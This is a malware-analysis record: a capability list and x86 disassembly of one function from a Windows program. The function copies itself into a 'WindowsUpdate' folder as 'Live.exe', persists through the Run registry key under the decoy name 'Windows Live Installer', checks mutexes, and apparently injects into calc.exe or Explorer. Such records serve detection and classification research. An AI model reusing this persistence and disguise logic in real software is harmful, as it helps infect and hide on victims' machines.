Function at 0x406640
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Get common file path
Persist via run registry key
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [ebp - 0x47c], 0
mov dword [0x414954], 0
call fcn.0040a130
call fcn.00408170
mov dword [ebp - 0x498], eax
push 0x104
lea eax, [ebp - 0x230]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x478]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.temp41.tmp
lea edx, [ebp - 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x80
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea ecx, [ebp - 0x478]
push ecx
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x1a
lea eax, [ebp - 0x478]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.WindowsUpdate
lea ecx, [ebp - 0x478]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
lea edx, [ebp - 0x478]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExW]
push str.Live.exe
lea eax, [ebp - 0x478]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x80
lea ecx, [ebp - 0x478]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
lea edx, [ebp - 0x478]
push edx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea ecx, [ebp - 0x24]
push ecx
push 0
lea edx, [ebp - 0x230]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov eax, dword [ebp - 4]
mov dword [0x411e7c], eax
lea ecx, [ebp - 0x47c]
push ecx
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x4067af
lea edx, [ebp - 0x478]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea ecx, [ebp - 0x478]
push ecx
push 1
push 0
push str.Windows_Live_Installer
mov edx, dword [ebp - 0x47c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 0x47c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.82z2z2s2d2g4j6k4l62d
mov ecx, dword [ebp - 0x498]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
je 0x40681e
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.wWXZOlIzwOwzIlOZXWw
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x4a0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406809
mov edx, dword [ebp - 0x4a0]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [ebp - 0x4a0]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x411e94], 0
jne 0x4068b5
push 0xc
push 0
lea ecx, [ebp - 0x494]
push ecx
call fcn.0040a430
add esp, 0xc
mov dword [ebp - 0x494], 0xc
mov dword [ebp - 0x490], 0
mov dword [ebp - 0x48c], 1
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push str.1z2z3reas34534543233245x6
push 1
lea edx, [ebp - 0x494]
push edx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x411e94], eax
push str.KOPWELERGKR23930DW
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
jne 0x4068b5
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4068b5
mov ecx, dword [0x411e94]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004094b0
cmp dword [0x411ea8], 0
jne 0x4068d5
call fcn.00401030
cmp eax, 1
jne 0x4068d5
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [0x411ea8], 1
push 0x800
push 0
push 0x4123e0
call fcn.0040a430
add esp, 0xc
push 0x3ff
push 0x4123e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call fcn.00407490
mov dword [0x411e98], eax
call fcn.004075f0
mov dword [0x411ea0], eax
call fcn.00407640
mov dword [0x411ea4], eax
cmp dword [0x411e98], 1
je 0x406939
cmp dword [0x411ea4], 1
jne 0x4069ed
mov dword [0x411e9c], 0
push 0x200
call fcn.0040a350
add esp, 4
mov dword [ebp - 0x4a8], eax
cmp dword [0x411e98], 1
jne 0x40696b
mov dword [ebp - 0x480], 0x29
jmp 0x406975
mov dword [ebp - 0x480], 0x25
mov edx, dword [ebp - 0x4a8]
push edx
push 0
push 0
mov eax, dword [ebp - 0x480]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x40e9b8
mov ecx, dword [ebp - 0x4a8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.calc.exe
mov edx, dword [ebp - 0x4a8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x411e9c], 0
push 0
push 3
push 0
push 0x406b30
push 0
mov eax, dword [ebp - 0x4a8]
push eax
call fcn.00405df0
add esp, 0x18
mov ecx, dword [ebp - 0x4a8]
push ecx
call fcn.0040a410
add esp, 4
jmp 0x406adc
mov edx, 1
test edx, edx
je 0x406a1a
call dword [sym.imp.USER32.dll_GetShellWindow]
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0
je 0x406a0d
jmp 0x406a1a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4069ed
lea eax, [ebp - 0x4a4]
push eax
mov ecx, dword [ebp - 0x49c]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0x40
push 0
lea edx, [ebp - 0x270]
push edx
call fcn.0040a430
add esp, 0xc
mov eax, dword [ebp - 0x4a4]
push eax
mov ecx, dword [ebp - 0x4a4]
push ecx
mov edx, dword [ebp - 0x4a4]
push edx
mov eax, dword [ebp - 0x4a4]
push eax
push str._dMutex_dExplorer_dMutex_d
lea ecx, [ebp - 0x270]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x270]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x484], eax
mov eax, dword [ebp - 0x484]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406aad
jmp 0x406adc
mov dword [0x411e9c], 1
push 1
push 1
mov ecx, dword [ebp - 0x4a4]
push ecx
push 0x406b30
push 0
push 0
call fcn.00405df0
add esp, 0x18
test eax, eax
jne 0x406adc
jmp 0x406939
mov edx, dword [ebp - 0x498]
push edx
call fcn.0040a410
add esp, 4
call fcn.0040a1c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]